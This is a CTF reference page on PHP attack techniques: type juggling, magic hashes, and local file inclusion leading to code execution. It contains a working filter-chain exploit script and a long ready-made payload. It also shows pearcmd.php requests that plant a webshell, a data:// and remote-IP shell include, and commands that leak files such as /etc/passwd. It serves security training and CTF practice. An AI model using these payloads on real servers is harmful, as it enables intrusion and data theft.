🚩
Practical CTF
BlogContact
  • 🚩Home - Practical CTF
  • 🌐Web
    • Enumeration
      • Finding Hosts & Domains
      • Masscan
      • Nmap
      • OSINT
    • Client-Side
      • Cross-Site Scripting (XSS)
        • HTML Injection
        • Content-Security-Policy (CSP)
      • CSS Injection
      • Cross-Site Request Forgery (CSRF)
      • XS-Leaks
      • Window Popup Tricks
      • Header / CRLF Injection
      • WebSockets
      • Caching
    • Server-Side
      • SQL Injection
      • NoSQL Injection
      • GraphQL
      • XML External Entities (XXE)
      • HTTP Request Smuggling
      • Local File Disclosure
      • Arbitrary File Write
      • Reverse Proxies
    • Frameworks
      • Flask
      • Ruby on Rails
      • NodeJS
      • Bun
      • WordPress
      • Angular
    • Chrome Remote DevTools
    • ImageMagick
  • 🔣Cryptography
    • Encodings
    • Ciphers
    • Custom Ciphers
      • Z3 Solver
    • XOR
    • Asymmetric Encryption
      • RSA
      • Diffie-Hellman
      • PGP / GPG
    • AES
    • Hashing
      • Cracking Hashes
      • Cracking Signatures
    • Pseudo-Random Number Generators (PRNG)
    • Timing Attacks
    • Blockchain
      • Smart Contracts
      • Bitcoin addresses
  • 🔎Forensics
    • Wireshark
    • File Formats
    • Archives
    • Memory Dumps (Volatility)
    • VBA Macros
    • Grep
    • Git
    • File Recovery
  • ⚙️Reverse Engineering
    • Ghidra
    • Angr Solver
    • Reversing C# - .NET / Unity
    • PowerShell
  • 📟Binary Exploitation
    • ir0nstone's Binary Exploitation Notes
    • Reverse Engineering for Pwn
    • PwnTools
    • ret2win
    • ret2libc
    • Shellcode
    • Stack Canaries
    • Return-Oriented Programming (ROP)
      • SigReturn-Oriented Programming (SROP)
      • ret2dlresolve
    • Sandboxes (chroot, seccomp & namespaces)
    • Race Conditions
  • 📲Mobile
    • Setup
    • Reversing APKs
    • Patching APKs
    • HTTP(S) Proxy for Android
    • Android Backup
    • Compiling C for Android
    • iOS
  • 🌎Languages
    • PHP
    • Python
    • JavaScript
      • Prototype Pollution
      • postMessage Exploitation
    • Java
    • C#
    • Assembly
    • Markdown
    • LaTeX
    • JSON
    • YAML
    • CodeQL
    • NASL (Nessus Plugins)
    • Regular Expressions (RegEx)
  • 🤖Networking
    • Modbus - TCP/502
    • Redis/Valkey - TCP/6379
  • 🐧Linux
    • Shells
    • Bash
    • Linux Privilege Escalation
      • Enumeration
      • Networking
      • Command Triggers
      • Command Exploitation
      • Outdated Versions
      • Network File Sharing (NFS)
      • Docker
      • Filesystem Permissions
    • Analyzing Processes
  • 🪟Windows
    • The Hacker Recipes - AD
    • Scanning/Spraying
    • Exploitation
    • Local Enumeration
    • Local Privilege Escalation
    • Windows Authentication
      • Kerberos
      • NTLM
    • Lateral Movement
    • Active Directory Privilege Escalation
    • Persistence
    • Antivirus Evasion
    • Metasploit
    • Alternate Data Streams (ADS)
  • ☁️Cloud
    • Kubernetes
    • Microsoft Azure
  • ❔Other
    • Business Logic Errors
    • Password Managers
    • ANSI Escape Codes
    • WSL Tips
Powered by GitBook
On this page
  • # Related Pages
  • Type Juggling
  • Magic Hashes
  • Comparison rules
  • Local File Inclusion
  • RCE using PHP Filters
  • RCE using pearcmd.php
  • RCE using Session file
  • RCE using logs
  • Reading Files from error-based oracle
  • Reading files using Prefix+Suffix format
  1. Languages

PHP

Some tricks specific to the PHP web programming language

PreviousiOSNextPython

Last updated 1 year ago

# Related Pages

Type Juggling

When code uses == or != instead of === or !== the user may use certain strings to do weird stuff with PHP converting strings to integers

# true in PHP 4.3.0+
'0e0' == '0e1'
'0e0' == '0E1'
'10e2' == ' 01e3'
'10e2' == '01e3'
'10e2' == '1e3'
'010e2' == '1e3'
'010e2' == '01e3'
'10' == '010'
'10.0' == '10'
'10' == '00000000010'
'12345678' == '00000000012345678'
'0010e2' == '1e3'
'123000' == '123e3'
'123000e2' == '123e5'

# true in 5.2.1+
# false in PHP 4.3.0 - 5.2.0
'608E-4234' == '272E-3063'

# true in PHP 4.3.0 - 5.6.x
# false in 7.0.0+
'0e0' == '0x0'
'0xABC' == '0xabc'
'0xABCdef' == '0xabcDEF'
'000000e1' == '0x000000'
'0xABFe1' == '0xABFE1'
'0xe' == '0Xe'
'0xABCDEF' == '11259375'
'0xABCDEF123' == '46118400291'
'0x1234AB' == '1193131'
'0x1234Ab' == '1193131'

# true in PHP 4.3.0 - 4.3.9, 5.2.1 - 5.6.x
# false in PHP 4.3.10 - 4.4.9, 5.0.3 - 5.2.0, 7.0.0+
'0xABCdef' == ' 0xabcDEF'
'1e1' == '0xa'
'0xe' == ' 0Xe'
'0x123' == ' 0x123'

# true in PHP 4.3.10 - 4.4.9, 5.0.3 - 5.2.0
# false in PHP 4.3.0 - 4.3.9, 5.0.0 - 5.0.2, 5.2.1 - 5.6.26, 7.0.0+
'0e0' == '0x0a'

# true in PHP 4.3.0 - 4.3.9, 5.0.0 - 5.0.2
# false in PHP 4.3.10 - 4.4.9, 5.0.3 - 5.6.26, 7.0.0+
'0xe' == ' 0Xe.'

Magic Hashes

md5: 240610708:0e462097431906509019562988736854
sha1: aaroZmOk:0e66507019969427134894567494305185566735
sha256: 34250003024812:0e46289032038065916139621039085883773413820991920706299695051332

Comparison rules

In PHP (< 8.0) the following table of rules applies when loosely comparing variables:

Local File Inclusion

When some code uses the include, include_once, require or require_once keyword to include a file from user input (eg. $_GET['page']) you can include any file on the system using Directory Traversal.

The functions run PHP code in the files that are included. If you can upload any file, put PHP code in there, and when you include it, it will be executed.

If the response is PHP code, it will be executed and not shown to you, which could be a problem. If you want to read source-code of the .php files, you can use the following PHP filter to convert the file to base64 before interpreting it:

php://filter/convert.base64-encode/resource=index.php

You can read PHP files like this even if .php is appended to your input in the code. Because the last part of this PHP filter is .php you can just remove it and let the code add it back

RCE using PHP Filters

PHP wrappers with a shell
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSkgPz4=
http://$YOUR_IP/shell.php
Example vulnerable code
<?php include $_GET["page"] + ".php" ?>

Read the writeup linked above to understand how they found it, but here's the basic idea:

  • convert.iconv.UTF8.CSISO2022KR will always prepend \x1b$)C to the string

  • convert.base64-decode is extremely tolerant, it will basically just ignore any characters that aren't valid base64.

Combining these and a lot of convert.iconv to convert between encodings, we can get any arbitrary base64 string that we can decode and include. Here's the exploit script used to automatically do this for a PHP shell, and then execute commands using it:

import requests

url = "http://localhost/index.php"  # CHANGE to vulnerable URL
file_to_use = "/etc/passwd"  # CHANGE to any file on target
command = "/readflag"  # CHANGE to command to be executed

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "include",    
    "file": final_payload   # CHANGE to parameter where file is included
})

print(r.text)
Payload: <?=`$_GET[0]`?>
?0=id&page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

RCE using pearcmd.php

Recently a new technique was developed for cases where you don't control the start of the include path. In such cases, you cannot use wrappers, but directory traversal using ../ is still possible. This opens up the possibility of using other existing PHP files on the system to execute arbitrary code, which the following writeup found a technique for:

Vulnerable code
<?php
include 'includes/' . $_GET['page'] . '.php';

This technique is especially useful if .php is appended to your input like many ?page= parameters. Because the /usr/local/lib/php/pearcmd.php file fits this requirement it is very usable. To interact with this script we use the query string which is passed as command-line arguments. The config-create subcommand allows us to write a file anywhere with some content we control, perfect for writing a webshell!

Even if the user has no write privileges to the webroot, we already have a directory traversal on the include function to be able to do this in the first place, so we can re-use it later to include the file we write executing the payload. We will write it to the /tmp folder with a simple shell that runs the ?0= parameter as a system command:

/tmp/shell.php
<?=`$_GET[0]`?>

Note that the config file we will write contains this string multiple times, so the command is executed and its output is included in the response multiple times. We first use the directory traversal to include the pearcmd.php file and write the config with a PHP shell:

Request 1
GET /?+config-create+/&page=../../../../usr/local/lib/php/pearcmd&/<?=`$_GET[0]`?>+/tmp/shell.php HTTP/1.1
Host: localhost

You should receive a verbose CONFIGURATION ... response if this was successful. Then the only thing left to do is execute our written webshell with the same vulnerability:

Request 2
GET /?page=../../../../tmp/shell&0=id HTTP/1.1
Host: localhost:8000
#PEAR_Config 0.9
a:13:{s:7:"php_dir";s:70:"/&page=../../../../usr/local/lib/php/pearcmd&/uid=33(www-data) gid=33(www-data) groups=33(www-data)
...

Note: The /usr/local/lib/php/pearcmd.php file we abuse here does not exist on all setups. It is included in PHP < 7.3 by default, and version > 7.4 if the --with-pear option was used to compile it. Any official docker image however does include it, so in many instances, you will find this file.

RCE using Session file

Another way is using PHP sessions, which store your session data in /tmp/sess_[PHPSESSID] which you can access using your own PHPSESSID= cookie on the site. Anything saved to $_SESSION[] in the code will be saved to this file. If you put PHP code into your session and include it, the PHP code will be executed.

RCE using logs

You can include log files with your input in them, which can contain PHP code to be executed on include. The User-Agent is often saved to logs:

Common log file locations
/var/log/apache2/access.log
/var/log/httpd/access.log
/var/log/nginx/access.log

If you can't find the logs you might be able to find it by looking at the configuration of the server, you can include/read any file after all:

Common config file locations
/etc/apache2/apache2.conf
/opt/apache2/apache2.conf
/usr/local/apache2/apache2.conf
/etc/httpd/httpd.conf
/etc/httpd/conf/httpd.conf
/usr/local/etc/httpd/httpd.conf

Reading Files from error-based oracle

<?php
file($_POST['file']);  // Open the file but don't do anything with it

This type of code may be common in a backend process that the user doesn't directly notice. While nothing is reflected back, an attacker can still leak the content of the file by carefully crafting PHP filters that expand exponentially when a certain character is in a certain place. By creating many of these filter chains they can begin to leak all the characters of the file one by one.

For a more technical breakdown, see the following writeup:

In the above post, they also include a tool for exploiting such vulnerabilities automatically by telling it your request endpoint and parameters:

In a real-world scenario, this could be used to potentially leak secret keys or passwords stored in files like config.php or .env. Another thing to keep in mind is that the error-based method might not work if a server treats warnings as errors. In such cases, you can use the alternative timing attack built-in because these high-memory operations take more time to exponentially grown than others.

$ python3 filters_chain_oracle_exploit.py --verb POST --target http://localhost:8000 --file '/flag.txt' --parameter 'file'
[*] The following URL is targeted : http://localhost:8000
[*] The following local file is leaked : /test
[*] Running GET requests
[+] File /flag leak is finished!
b'Q1RGe2Y0azNfZmw0Z19mMHJfdDNzdDFu'
b'CTF{f4k3_fl4g_f0r_t3st1n'

Tip: If your injection is more complex than a POST request with some extra parameters or headers, like a JSON format or multi-step process, you can try to change the requester.py -> req_with_response() function to include your custom flow.

Reading files using Prefix+Suffix format

The latest development in filter chain attacks for LFI is a way to add arbitrary prefixes and suffixes to a file's content, without any noise. This allows parsers expecting a specific format to validate/extract the part you want to leak without the original file having to have that format. It is best shown with an example:

Vulnerable code
<?php
$data = file_get_contents($_POST['url']);
$data = json_decode($data);
echo $data->message;

Normally, the above code expects a JSON-formatted file like {"message": "Hello, world"} and reads its message attribute back to the client. While an attacker can change the $_POST['url'] value to any URL, this would fail on the json_decode() function without actually showing the content. This is where the new technique and tool come in:

With the techniques outlined in the blog post, it can add characters to the front of the file's content, as well as to the end. The content itself will remain in the center, allowing a simple format like JSON or XML to drag it along to a response that the attacker can see. Then it becomes possible to leak big chunks of a file with a single request, instead of single bits with many requests like in the Reading Files from error-based oracle section.

$ ./wrapwrap.py <path> <prefix> <suffix> <nb_bytes>
$ ./wrapwrap.py /etc/passwd '{"message":"' '"}' 1000
[*] Dumping 1008 bytes from /etc/passwd.
[+] Wrote filter chain to chain.txt (size=705031).

This file gets big quickly as you increase the prefix/suffix length, as well as the number of bytes. GET parameters are often limited by a maximum URI length, but POST parameters often lack this maximum and thus allow for giant filter chains like the one above.

Tip: Using this same technique, you can also simply use it to generate an arbitrary string like in RCE using PHP Filters without noise like non-ASCII characters. This allows you to exploit even more formats even when they are sanity-checked or parsed!

For a complete and detailed guide on every possible comparison between types, see .

The "php" == 0 case was so weird, that from PHP 8.0 onward, this is no longer true. However, the "php" == true still works ().

The main goal for getting RCE from LFI is to get some arbitrary content returned by the URL, which is then included and read as PHP code. If you control the start of the URL in some include function, you can use to get content from other places than straight from a file. The data:// wrapper for example can return arbitrary content, for example, using the base64 encoding:

However, in more recent versions of PHP, the allow_url_include= option which enables some of these wrappers is disabled by default. However, there is a really powerful technique that I came across recently which combines lots of PHP filters to turn any file into arbitrary PHP code. For this, you only need to have control of the start to allow PHP wrappers, and then have a valid file anywhere to transform into PHP code. But you'll have a valid file anyway from the default functionality of the site, so this is pretty much a guarantee.

For arbitrary contents instead of just the <?=`$_GET[0]`;;?> needed here, check out the that Carlos Polop made. Synacktiv later also made a tool that automates it:

A trick using was shown in RCE using PHP Filters to craft any arbitrary string from any other content by chaining filters. It was discovered however that this idea could be brought even further in order to leak file content when it is not reflected. Here is a vulnerable code example:

🌎
WordPress
the PHP docs
see test
PHP Wrappers
found by loknop
list of all base64 characters
php://filter
GitHub - spaze/hashes: Magic hashes – PHP hash "collisions"GitHub
Collection of weird hashes that can be used for PHP Type Juggling
GitHub - synacktiv/php_filter_chain_generatorGitHub
Tool to quickly generate PHP filter chains with arbitrary content
Docker PHP裸文件本地包含综述 | 离别歌
Using pearcmd.php to get RCE from local file inclusion through directory traversal
Extortion (Writeup) - Cyber Apocalypse 2021 | Jorian Woltjerjorianwoltjer.com
A short writeup showing this attack in practice (fun fact, my first ever blog post!)
PHP filter chains: file read from error-based oracleSynacktiv
Detailed walkthrough of the error-based filter chain oracle, including vulnerable functions and a tool
GitHub - synacktiv/php_filter_chains_oracle_exploit: A CLI to exploit parameters vulnerable to PHP filter chain error based oracle.GitHub
Exploit the vulnerability easily by passing your request via the CLI
GitHub - ambionics/wrapwrap: Generates a `php://filter` chain that adds a prefix and a suffix to the contents of a file.GitHub
Generate a filter chain for arbitrary prefixes and suffixes ()
blog post
Logo
Logo
Logo
Logo
Logo
Logo
A table showing common loose comparisons with interesting values
Logo